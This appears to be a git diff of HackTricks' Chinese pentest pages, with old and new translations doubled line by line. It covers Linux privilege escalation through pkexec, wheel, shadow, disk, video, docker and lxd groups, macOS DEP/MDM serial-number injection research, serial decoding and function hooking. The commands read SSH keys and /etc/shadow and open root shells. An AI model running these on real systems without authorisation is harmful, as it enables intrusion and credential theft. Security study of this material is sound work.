```bash
|
||||
cat /etc/polkit-1/localauthority.conf.d/*
|
||||
```
|
||||
在那里,您将找到允许执行**pkexec**和**默认情况下**在某些Linux中可能会出现一些组**sudo或admin**。
|
||||
在那里你会发现哪些组被允许执行 **pkexec**,并且在某些 Linux 中,**默认情况下**可能会出现一些 **sudo 或 admin** 组。
|
||||
|
||||
要**成为root用户,您可以执行**:
|
||||
要 **成为 root,你可以执行**:
|
||||
```bash
|
||||
pkexec "/bin/sh" #You will be prompted for your user password
|
||||
```
|
||||
如果尝试执行**pkexec**时出现以下**错误**:
|
||||
如果你尝试执行 **pkexec** 并且收到这个 **错误**:
|
||||
```bash
|
||||
polkit-agent-helper-1: error response to PolicyKit daemon: GDBus.Error:org.freedesktop.PolicyKit1.Error.Failed: No session for cookie
|
||||
==== AUTHENTICATION FAILED ===
|
||||
Error executing command as another user: Not authorized
|
||||
```
|
||||
**这不是因为你没有权限,而是因为你没有连接到图形界面**。这里有一个解决此问题的方法:[https://github.com/NixOS/nixpkgs/issues/18012\#issuecomment-335350903](https://github.com/NixOS/nixpkgs/issues/18012#issuecomment-335350903)。你需要**2个不同的ssh会话**:
|
||||
**这不是因为你没有权限,而是因为你没有通过GUI连接**。对此问题有一个解决方法在这里: [https://github.com/NixOS/nixpkgs/issues/18012\#issuecomment-335350903](https://github.com/NixOS/nixpkgs/issues/18012#issuecomment-335350903)。你需要**2个不同的ssh会话**:
|
||||
|
||||
{% code title="session1" %}
|
||||
```bash
|
||||
|
@ -73,27 +74,27 @@ pkttyagent --process <PID of session1> #Step 2, attach pkttyagent to session1
|
|||
|
||||
# Wheel Group
|
||||
|
||||
**有时候**,**默认情况下**,您可以在**/etc/sudoers**文件中找到这行:
|
||||
**有时**,**默认情况下**在 **/etc/sudoers** 文件中可以找到这一行:
|
||||
```text
|
||||
%wheel ALL=(ALL:ALL) ALL
|
||||
```
|
||||
这意味着**任何属于wheel组的用户都可以作为sudo执行任何操作**。
|
||||
这意味着**任何属于wheel组的用户都可以以sudo身份执行任何操作**。
|
||||
|
||||
如果是这种情况,**要成为root用户,只需执行**:
|
||||
如果是这种情况,要**成为root,你只需执行**:
|
||||
```text
|
||||
sudo su
|
||||
```
|
||||
# 阴影组
|
||||
# Shadow Group
|
||||
|
||||
来自**阴影组**的用户可以**读取**`/etc/shadow`文件:
|
||||
来自 **group shadow** 的用户可以 **读取** **/etc/shadow** 文件:
|
||||
```text
|
||||
-rw-r----- 1 root shadow 1824 Apr 26 19:10 /etc/shadow
|
||||
```
|
||||
所以,阅读文件并尝试**破解一些哈希值**。
|
||||
所以,阅读文件并尝试**破解一些哈希**。
|
||||
|
||||
# 磁盘组
|
||||
|
||||
这种权限几乎等同于root访问权限,因为您可以访问机器内部的所有数据。
|
||||
此权限几乎**等同于根访问**,因为您可以访问机器内部的所有数据。
|
||||
|
||||
文件:`/dev/sd[a-z][1-9]`
|
||||
```text
|
||||
|
@ -103,68 +104,67 @@ debugfs: ls
|
|||
debugfs: cat /root/.ssh/id_rsa
|
||||
debugfs: cat /etc/shadow
|
||||
```
|
||||
请注意,使用debugfs您也可以**写入文件**。例如,要将`/tmp/asd1.txt`复制到`/tmp/asd2.txt`,您可以执行以下操作:
|
||||
注意,使用 debugfs 你也可以 **写文件**。例如,要将 `/tmp/asd1.txt` 复制到 `/tmp/asd2.txt`,你可以这样做:
|
||||
```bash
|
||||
debugfs -w /dev/sda1
|
||||
debugfs: dump /tmp/asd1.txt /tmp/asd2.txt
|
||||
```
|
||||
然而,如果您尝试**写入属于root的文件**(如`/etc/shadow`或`/etc/passwd`),您将收到“**Permission denied**”错误。
|
||||
然而,如果你尝试**写入由 root 拥有的文件**(如 `/etc/shadow` 或 `/etc/passwd`),你将会遇到“**权限被拒绝**”的错误。
|
||||
|
||||
# Video Group
|
||||
# 视频组
|
||||
|
||||
使用命令`w`,您可以找到**谁登录到系统**,并且它将显示以下输出:
|
||||
使用命令 `w` 你可以找到**谁已登录系统**,它将显示如下输出:
|
||||
```bash
|
||||
USER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT
|
||||
yossi tty1 22:16 5:13m 0.05s 0.04s -bash
|
||||
moshe pts/1 10.10.14.44 02:53 24:07 0.06s 0.06s /bin/bash
|
||||
```
|
||||
**tty1** 表示用户 **yossi 是物理登录** 到机器上的终端。
|
||||
**tty1**意味着用户**yossi 正在物理上**登录到机器上的终端。
|
||||
|
||||
**video 组** 具有查看屏幕输出的权限。基本上,您可以观察屏幕。为了做到这一点,您需要以原始数据的形式 **获取屏幕上的当前图像** 并获取屏幕正在使用的分辨率。屏幕数据可以保存在 `/dev/fb0` 中,您可以在 `/sys/class/graphics/fb0/virtual_size` 中找到此屏幕的分辨率。
|
||||
**video group**有权查看屏幕输出。基本上,您可以观察屏幕。为了做到这一点,您需要**以原始数据抓取当前屏幕上的图像**并获取屏幕使用的分辨率。屏幕数据可以保存在`/dev/fb0`中,您可以在`/sys/class/graphics/fb0/virtual_size`中找到该屏幕的分辨率。
|
||||
```bash
|
||||
cat /dev/fb0 > /tmp/screen.raw
|
||||
cat /sys/class/graphics/fb0/virtual_size
|
||||
```
|
||||
**打开**原始图像,可以使用**GIMP**,选择**`screen.raw`**文件,并选择文件类型为**原始图像数据**:
|
||||
要**打开** **原始图像**,您可以使用**GIMP**,选择**`screen.raw`**文件,并选择文件类型为**原始图像数据**:
|
||||
|
||||
![](../../.gitbook/assets/image%20%28208%29.png)
|
||||
|
||||
然后修改宽度和高度为屏幕上使用的值,并检查不同的图像类型(选择显示屏幕效果更好的类型):
|
||||
然后将宽度和高度修改为屏幕上使用的值,并检查不同的图像类型(并选择显示屏幕效果更好的那个):
|
||||
|
||||
![](../../.gitbook/assets/image%20%28295%29.png)
|
||||
|
||||
# Root 组
|
||||
# Root Group
|
||||
|
||||
看起来默认情况下,**root 组的成员**可以访问**修改**一些**服务**配置文件或一些**库**文件或**其他有趣的东西**,这些可能被用来提升权限...
|
||||
看起来默认情况下**root组的成员**可以访问**修改**一些**服务**配置文件或一些**库**文件或**其他有趣的东西**,这些都可以用来提升权限...
|
||||
|
||||
**检查 root 成员可以修改哪些文件**:
|
||||
**检查root成员可以修改哪些文件**:
|
||||
```bash
|
||||
find / -group root -perm -g=w 2>/dev/null
|
||||
```
|
||||
# Docker组
|
||||
# Docker Group
|
||||
|
||||
您可以将主机机器的根文件系统挂载到实例的卷上,这样当实例启动时,它会立即将`chroot`加载到该卷中。这实际上让您在机器上获得了root权限。
|
||||
您可以将主机的根文件系统挂载到实例的卷中,因此当实例启动时,它会立即加载一个 `chroot` 到该卷。这实际上使您在机器上获得了 root 权限。
|
||||
|
||||
{% embed url="https://github.com/KrustyHack/docker-privilege-escalation" %}
|
||||
|
||||
{% embed url="https://fosterelli.co/privilege-escalation-via-docker.html" %}
|
||||
|
||||
# lxc/lxd组
|
||||
|
||||
[lxc - 特权升级](lxd-privilege-escalation.md)
|
||||
# lxc/lxd Group
|
||||
|
||||
[lxc - 权限提升](lxd-privilege-escalation.md)
|
||||
|
||||
{% hint style="success" %}
|
||||
学习和实践 AWS 黑客技术:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks 培训 AWS 红队专家 (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
学习和实践 GCP 黑客技术:<img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks 培训 GCP 红队专家 (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>从零开始学习AWS黑客技术,成为专家</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE(HackTricks AWS红队专家)</strong></a><strong>!</strong></summary>
|
||||
<summary>支持 HackTricks</summary>
|
||||
|
||||
支持HackTricks的其他方式:
|
||||
|
||||
* 如果您想看到您的**公司在HackTricks中做广告**或**下载PDF格式的HackTricks**,请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||
* 获取[**官方PEASS & HackTricks周边产品**](https://peass.creator-spring.com)
|
||||
* 发现[**PEASS家族**](https://opensea.io/collection/the-peass-family),我们的独家[**NFTs**](https://opensea.io/collection/the-peass-family)收藏品
|
||||
* **加入** 💬 [**Discord群**](https://discord.gg/hRep4RUj7f) 或 [**电报群**](https://t.me/peass) 或 **关注**我们的**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**。**
|
||||
* 通过向[**HackTricks**](https://github.com/carlospolop/hacktricks)和[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github仓库提交PR来分享您的黑客技巧。
|
||||
* 查看 [**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||
* **加入** 💬 [**Discord 群组**](https://discord.gg/hRep4RUj7f) 或 [**电报群组**](https://t.me/peass) 或 **在** **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)** 上关注我们。**
|
||||
* **通过向** [**HackTricks**](https://github.com/carlospolop/hacktricks) 和 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github 仓库提交 PR 来分享黑客技巧。
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
|
|
@ -1,66 +1,70 @@
|
|||
# 将设备注册到其他组织
|
||||
# 在其他组织中注册设备
|
||||
|
||||
{% hint style="success" %}
|
||||
学习和实践 AWS 黑客技术:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks 培训 AWS 红队专家 (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
学习和实践 GCP 黑客技术:<img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks 培训 GCP 红队专家 (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>从零开始学习AWS黑客技术,成为专家</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE(HackTricks AWS红队专家)</strong></a><strong>!</strong></summary>
|
||||
<summary>支持 HackTricks</summary>
|
||||
|
||||
支持HackTricks的其他方式:
|
||||
|
||||
* 如果您想看到您的**公司在HackTricks中做广告**或**下载PDF格式的HackTricks**,请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||
* 获取[**官方PEASS&HackTricks周边产品**](https://peass.creator-spring.com)
|
||||
* 探索[**PEASS家族**](https://opensea.io/collection/the-peass-family),我们的独家[**NFTs**](https://opensea.io/collection/the-peass-family)收藏品
|
||||
* **加入** 💬 [**Discord群组**](https://discord.gg/hRep4RUj7f) 或 [**电报群组**](https://t.me/peass) 或在**Twitter**上关注我们 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**。**
|
||||
* 通过向[**HackTricks**](https://github.com/carlospolop/hacktricks)和[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github仓库提交PR来分享您的黑客技巧。
|
||||
* 查看 [**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||
* **加入** 💬 [**Discord 群组**](https://discord.gg/hRep4RUj7f) 或 [**Telegram 群组**](https://t.me/peass) 或 **在** **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)** 上关注我们。**
|
||||
* **通过向** [**HackTricks**](https://github.com/carlospolop/hacktricks) 和 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) GitHub 仓库提交 PR 分享黑客技巧。
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
{% endhint %}
|
||||
{% endhint %}
|
||||
{% endhint %}
|
||||
{% endhint %}
|
||||
{% endhint %}
|
||||
{% endhint %}
|
||||
|
||||
## 简介
|
||||
## 介绍
|
||||
|
||||
如[**先前评论的**](./#what-is-mdm-mobile-device-management)**,为了尝试将设备注册到一个组织中,只需要一个属于该组织的序列号**。一旦设备注册成功,多个组织将在新设备上安装敏感数据:证书、应用程序、WiFi密码、VPN配置[等等](https://developer.apple.com/enterprise/documentation/Configuration-Profile-Reference.pdf)。\
|
||||
正如 [**之前提到的**](./#what-is-mdm-mobile-device-management)**,** 为了尝试将设备注册到一个组织 **只需要该组织的序列号**。一旦设备注册,多个组织将会在新设备上安装敏感数据:证书、应用程序、WiFi 密码、VPN 配置 [等等](https://developer.apple.com/enterprise/documentation/Configuration-Profile-Reference.pdf)。\
|
||||
因此,如果注册过程没有得到正确保护,这可能成为攻击者的危险入口。
|
||||
|
||||
**以下是对研究[https://duo.com/labs/research/mdm-me-maybe](https://duo.com/labs/research/mdm-me-maybe)的总结。请查看以获取更多技术细节!**
|
||||
**以下是研究的摘要 [https://duo.com/labs/research/mdm-me-maybe](https://duo.com/labs/research/mdm-me-maybe)。查看以获取更多技术细节!**
|
||||
|
||||
## DEP和MDM二进制分析概述
|
||||
## DEP 和 MDM 二进制分析概述
|
||||
|
||||
该研究深入探讨了与设备注册计划(DEP)和移动设备管理(MDM)在macOS上相关的二进制文件。关键组件包括:
|
||||
本研究深入探讨了与 macOS 上的设备注册程序 (DEP) 和移动设备管理 (MDM) 相关的二进制文件。关键组件包括:
|
||||
|
||||
- **`mdmclient`**:与MDM服务器通信,并在macOS 10.13.4之前的版本上触发DEP签入。
|
||||
- **`profiles`**:管理配置文件,并在macOS 10.13.4及更高版本上触发DEP签入。
|
||||
- **`cloudconfigurationd`**:管理DEP API通信并检索设备注册配置文件。
|
||||
- **`mdmclient`**:与 MDM 服务器通信,并在 macOS 10.13.4 之前的版本上触发 DEP 检查。
|
||||
- **`profiles`**:管理配置文件,并在 macOS 10.13.4 及更高版本上触发 DEP 检查。
|
||||
- **`cloudconfigurationd`**:管理 DEP API 通信并检索设备注册配置文件。
|
||||
|
||||
DEP签入利用私有配置文件框架中的`CPFetchActivationRecord`和`CPGetActivationRecord`函数来获取激活记录,其中`CPFetchActivationRecord`通过XPC与`cloudconfigurationd`协调。
|
||||
DEP 检查利用私有配置文件框架中的 `CPFetchActivationRecord` 和 `CPGetActivationRecord` 函数来获取激活记录,`CPFetchActivationRecord` 通过 XPC 与 `cloudconfigurationd` 协调。
|
||||
|
||||
## Tesla协议和Absinthe方案的逆向工程
|
||||
## 特斯拉协议和 Absinthe 方案逆向工程
|
||||
|
||||
DEP签入涉及`cloudconfigurationd`向_iprofiles.apple.com/macProfile_发送加密、签名的JSON负载。负载包括设备的序列号和动作“RequestProfileConfiguration”。内部使用的加密方案称为“Absinthe”。解开这个方案很复杂,涉及多个步骤,因此探索了插入激活记录请求中任意序列号的替代方法。
|
||||
DEP 检查涉及 `cloudconfigurationd` 向 _iprofiles.apple.com/macProfile_ 发送加密的签名 JSON 有效负载。有效负载包括设备的序列号和操作 "RequestProfileConfiguration"。所使用的加密方案在内部称为 "Absinthe"。解开这个方案是复杂的,涉及多个步骤,这导致探索替代方法以在激活记录请求中插入任意序列号。
|
||||
|
||||
## 代理DEP请求
|
||||
## 代理 DEP 请求
|
||||
|
||||
使用Charles Proxy等工具拦截和修改DEP请求到_iprofiles.apple.com_的尝试受到负载加密和SSL/TLS安全措施的阻碍。然而,启用`MCCloudConfigAcceptAnyHTTPSCertificate`配置允许绕过服务器证书验证,尽管负载的加密性质仍然阻止了在没有解密密钥的情况下修改序列号。
|
||||
使用 Charles Proxy 等工具拦截和修改对 _iprofiles.apple.com_ 的 DEP 请求的尝试受到有效负载加密和 SSL/TLS 安全措施的阻碍。然而,启用 `MCCloudConfigAcceptAnyHTTPSCertificate` 配置可以绕过服务器证书验证,尽管有效负载的加密性质仍然阻止在没有解密密钥的情况下修改序列号。
|
||||
|
||||
## 仪器化与DEP交互的系统二进制文件
|
||||
## 对与 DEP 交互的系统二进制文件进行插桩
|
||||
|
||||
仪器化系统二进制文件如`cloudconfigurationd`需要在macOS上禁用系统完整性保护(SIP)。禁用SIP后,可以使用LLDB等工具附加到系统进程,并可能修改DEP API交互中使用的序列号。这种方法更可取,因为它避免了授权和代码签名的复杂性。
|
||||
对系统二进制文件如 `cloudconfigurationd` 进行插桩需要在 macOS 上禁用系统完整性保护 (SIP)。禁用 SIP 后,可以使用 LLDB 等工具附加到系统进程,并可能修改在 DEP API 交互中使用的序列号。这种方法更可取,因为它避免了权限和代码签名的复杂性。
|
||||
|
||||
**利用二进制仪器化:**
|
||||
在`cloudconfigurationd`中的JSON序列化之前修改DEP请求负载证明是有效的。该过程涉及:
|
||||
**利用二进制插桩:**
|
||||
在 `cloudconfigurationd` 中在 JSON 序列化之前修改 DEP 请求有效负载被证明是有效的。该过程包括:
|
||||
|
||||
1. 将LLDB附加到`cloudconfigurationd`。
|
||||
2. 定位提取系统序列号的位置。
|
||||
3. 在加密并发送负载之前向内存中注入任意序列号。
|
||||
1. 将 LLDB 附加到 `cloudconfigurationd`。
|
||||
2. 找到获取系统序列号的点。
|
||||
3. 在有效负载加密并发送之前将任意序列号注入内存中。
|
||||
|
||||
这种方法允许检索任意序列号的完整DEP配置文件,展示了潜在的漏洞。
|
||||
这种方法允许检索任意序列号的完整 DEP 配置文件,展示了潜在的漏洞。
|
||||
|
||||
### 使用Python自动化仪器化
|
||||
### 使用 Python 自动化插桩
|
||||
|
||||
使用LLDB API自动化利用过程,使得可以以编程方式注入任意序列号并检索相应的DEP配置文件。
|
||||
利用 Python 和 LLDB API 自动化了利用过程,使得可以以编程方式注入任意序列号并检索相应的 DEP 配置文件。
|
||||
|
||||
### DEP和MDM漏洞的潜在影响
|
||||
### DEP 和 MDM 漏洞的潜在影响
|
||||
|
||||
该研究突出了重要的安全问题:
|
||||
研究突出了重大的安全隐患:
|
||||
|
||||
1. **信息泄露**:通过提供DEP注册的序列号,可以检索包含在DEP配置文件中的敏感组织信息。
|
||||
2. **恶意DEP注册**:在没有适当身份验证的情况下,具有DEP注册序列号的攻击者可以将恶意设备注册到组织的MDM服务器中,可能获取对敏感数据和网络资源的访问权限。
|
||||
|
||||
总之,虽然DEP和MDM为企业环境中管理苹果设备提供了强大工具,但它们也呈现出需要保护和监控的潜在攻击向量。
|
||||
1. **信息泄露**:通过提供一个 DEP 注册的序列号,可以检索 DEP 配置文件中包含的敏感组织信息。
|
||||
|
|
|
@ -1,71 +1,89 @@
|
|||
# macOS序列号
|
||||
# macOS 序列号
|
||||
|
||||
{% hint style="success" %}
|
||||
学习与实践 AWS 黑客技术:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks 培训 AWS 红队专家 (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
学习与实践 GCP 黑客技术:<img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks 培训 GCP 红队专家 (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>从零开始学习AWS黑客技术,成为专家</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE(HackTricks AWS红队专家)</strong></a><strong>!</strong></summary>
|
||||
<summary>支持 HackTricks</summary>
|
||||
|
||||
支持HackTricks的其他方式:
|
||||
|
||||
* 如果您想看到您的**公司在HackTricks中做广告**或**下载PDF格式的HackTricks**,请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||
* 获取[**官方PEASS & HackTricks周边产品**](https://peass.creator-spring.com)
|
||||
* 探索[**PEASS家族**](https://opensea.io/collection/the-peass-family),我们的独家[**NFTs**](https://opensea.io/collection/the-peass-family)收藏品
|
||||
* **加入** 💬 [**Discord群**](https://discord.gg/hRep4RUj7f) 或 [**电报群**](https://t.me/peass) 或在**Twitter**上关注我们 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**。**
|
||||
* 通过向[**HackTricks**](https://github.com/carlospolop/hacktricks)和[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github仓库提交PR来分享您的黑客技巧。
|
||||
* 查看 [**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||
* **加入** 💬 [**Discord 群组**](https://discord.gg/hRep4RUj7f) 或 [**电报群组**](https://t.me/peass) 或 **关注** 我们的 **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **通过向** [**HackTricks**](https://github.com/carlospolop/hacktricks) 和 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github 仓库提交 PR 分享黑客技巧。
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
{% endhint %}
|
||||
{% endhint %}
|
||||
{% endhint %}
|
||||
{% endhint %}
|
||||
{% endhint %}
|
||||
{% endhint %}
|
||||
{% endhint %}
|
||||
{% endhint %}
|
||||
{% endhint %}
|
||||
{% endhint %}
|
||||
|
||||
|
||||
## 基本信息
|
||||
|
||||
自2010年以来,苹果设备的序列号由**12个字母数字字符**组成,每个部分传达特定信息:
|
||||
2010 年后发布的 Apple 设备的序列号由 **12 个字母数字字符** 组成,每个部分传达特定信息:
|
||||
|
||||
- **前3个字符**:表示**制造地点**。
|
||||
- **第4和第5个字符**:表示**制造年份和周数**。
|
||||
- **第6到8个字符**:作为每个设备的**唯一标识符**。
|
||||
- **最后4个字符**:指定**型号编号**。
|
||||
- **前三个字符**:指示 **制造地点**。
|
||||
- **第 4 和 5 个字符**:表示 **制造年份和周数**。
|
||||
- **第 6 到 8 个字符**:作为每个设备的 **唯一标识符**。
|
||||
- **最后 4 个字符**:指定 **型号**。
|
||||
|
||||
例如,序列号**C02L13ECF8J2**遵循此结构。
|
||||
例如,序列号 **C02L13ECF8J2** 遵循此结构。
|
||||
|
||||
### **制造地点(前3个字符)**
|
||||
### **制造地点(前三个字符)**
|
||||
某些代码代表特定工厂:
|
||||
- **FC,F,XA/XB/QP/G8**:美国的各个地点。
|
||||
- **FC, F, XA/XB/QP/G8**:美国的不同地点。
|
||||
- **RN**:墨西哥。
|
||||
- **CK**:爱尔兰科克。
|
||||
- **VM**:捷克富士康。
|
||||
- **VM**:捷克共和国富士康。
|
||||
- **SG/E**:新加坡。
|
||||
- **MB**:马来西亚。
|
||||
- **PT/CY**:韩国。
|
||||
- **EE/QT/UV**:台湾。
|
||||
- **FK/F1/F2,W8,DL/DM,DN,YM/7J,1C/4H/WQ/F7**:中国的不同地点。
|
||||
- **C0,C3,C7**:中国的特定城市。
|
||||
- **FK/F1/F2, W8, DL/DM, DN, YM/7J, 1C/4H/WQ/F7**:中国的不同地点。
|
||||
- **C0, C3, C7**:中国的特定城市。
|
||||
- **RM**:翻新设备。
|
||||
|
||||
### **制造年份(第4个字符)**
|
||||
此字符从'C'(代表2010年上半年)变化到'Z'(2019年下半年),不同的字母表示不同的半年期。
|
||||
### **制造年份(第 4 个字符)**
|
||||
该字符从 'C'(代表 2010 年上半年)到 'Z'(2019 年下半年)变化,不同字母表示不同的半年时期。
|
||||
|
||||
### **制造周数(第5个字符)**
|
||||
数字1-9对应周数1-9。字母C-Y(不包括元音和'S')表示周数10-27。对于一年的下半年,将此数字加26。
|
||||
### **制造周数(第 5 个字符)**
|
||||
数字 1-9 对应于第 1-9 周。字母 C-Y(不包括元音和 'S')表示第 10-27 周。对于下半年,该数字加上 26。
|
||||
|
||||
### **唯一标识符(第6到8个字符)**
|
||||
这三个数字确保每个设备,即使是相同型号和批次的设备,也有不同的序列号。
|
||||
|
||||
### **型号编号(最后4个字符)**
|
||||
这些数字标识设备的具体型号。
|
||||
|
||||
### 参考
|
||||
|
||||
* [https://beetstech.com/blog/decode-meaning-behind-apple-serial-number](https://beetstech.com/blog/decode-meaning-behind-apple-serial-number)
|
||||
{% hint style="success" %}
|
||||
学习与实践 AWS 黑客技术:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks 培训 AWS 红队专家 (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
学习与实践 GCP 黑客技术:<img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks 培训 GCP 红队专家 (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>从零开始学习AWS黑客技术,成为专家</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE(HackTricks AWS红队专家)</strong></a><strong>!</strong></summary>
|
||||
<summary>支持 HackTricks</summary>
|
||||
|
||||
支持HackTricks的其他方式:
|
||||
|
||||
* 如果您想看到您的**公司在HackTricks中做广告**或**下载PDF格式的HackTricks**,请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||
* 获取[**官方PEASS & HackTricks周边产品**](https://peass.creator-spring.com)
|
||||
* 探索[**PEASS家族**](https://opensea.io/collection/the-peass-family),我们的独家[**NFTs**](https://opensea.io/collection/the-peass-family)收藏品
|
||||
* **加入** 💬 [**Discord群**](https://discord.gg/hRep4RUj7f) 或 [**电报群**](https://t.me/peass) 或在**Twitter**上关注我们 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**。**
|
||||
* 通过向[**HackTricks**](https://github.com/carlospolop/hacktricks)和[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github仓库提交PR来分享您的黑客技巧。
|
||||
* 查看 [**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||
* **加入** 💬 [**Discord 群组**](https://discord.gg/hRep4RUj7f) 或 [**电报群组**](https://t.me/peass) 或 **关注** 我们的 **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **通过向** [**HackTricks**](https://github.com/carlospolop/hacktricks) 和 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github 仓库提交 PR 分享黑客技巧。
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
</details>
|
||||
{% endhint %}
|
||||
</details>
|
||||
{% endhint %}
|
||||
</details>
|
||||
{% endhint %}
|
||||
</details>
|
||||
{% endhint %}
|
||||
</details>
|
||||
{% endhint %}
|
||||
</details>
|
||||
{% endhint %}
|
||||
</details>
|
||||
{% endhint %}
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
|
|
@ -1,26 +1,27 @@
|
|||
# macOS函数挂钩
|
||||
# macOS Function Hooking
|
||||
|
||||
{% hint style="success" %}
|
||||
学习和实践 AWS 黑客技术:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks 培训 AWS 红队专家 (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
学习和实践 GCP 黑客技术:<img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks 培训 GCP 红队专家 (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>从零开始学习AWS黑客技术,成为专家</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE(HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary>支持 HackTricks</summary>
|
||||
|
||||
支持HackTricks的其他方式:
|
||||
|
||||
- 如果您想看到您的**公司在HackTricks中做广告**或**下载PDF格式的HackTricks**,请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||
- 获取[**官方PEASS & HackTricks周边产品**](https://peass.creator-spring.com)
|
||||
- 探索[**PEASS家族**](https://opensea.io/collection/the-peass-family),我们的独家[**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
- **加入** 💬 [**Discord群组**](https://discord.gg/hRep4RUj7f) 或 [**电报群组**](https://t.me/peass) 或 **关注**我们的**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**。**
|
||||
- 通过向[**HackTricks**](https://github.com/carlospolop/hacktricks)和[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github仓库提交PR来分享您的黑客技巧。
|
||||
* 查看 [**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||
* **加入** 💬 [**Discord 群组**](https://discord.gg/hRep4RUj7f) 或 [**Telegram 群组**](https://t.me/peass) 或 **关注** 我们的 **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **通过向** [**HackTricks**](https://github.com/carlospolop/hacktricks) 和 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) GitHub 仓库提交 PR 分享黑客技巧。
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
||||
## 函数插入
|
||||
|
||||
创建一个包含指向**原始**和**替换**函数的**函数指针**元组的**dylib**,其中包含一个**`__interpose`**部分(或标记为**`S_INTERPOSING`**的部分)。
|
||||
创建一个带有 **`__interpose`** 部分(或标记为 **`S_INTERPOSING`** 的部分)的 **dylib**,其中包含指向 **原始** 和 **替代** 函数的 **函数指针** 元组。
|
||||
|
||||
然后,使用**`DYLD_INSERT_LIBRARIES`**注入dylib(插入操作需要在主应用程序加载之前发生)。显然,这里也适用于对**`DYLD_INSERT_LIBRARIES`**的[**限制**](../macos-proces-abuse/macos-library-injection/#check-restrictions)。 
|
||||
然后,使用 **`DYLD_INSERT_LIBRARIES`** 注入 dylib(插入需要在主应用程序加载之前发生)。显然,适用于 **`DYLD_INSERT_LIBRARIES`** 使用的 [**限制** 在这里也适用](../macos-proces-abuse/macos-library-injection/#check-restrictions)。 
|
||||
|
||||
### 插入printf
|
||||
### 插入 printf
|
||||
|
||||
{% tabs %}
|
||||
{% tab title="interpose.c" %}
|
||||
|
@ -58,35 +59,7 @@ return 0;
|
|||
```
|
||||
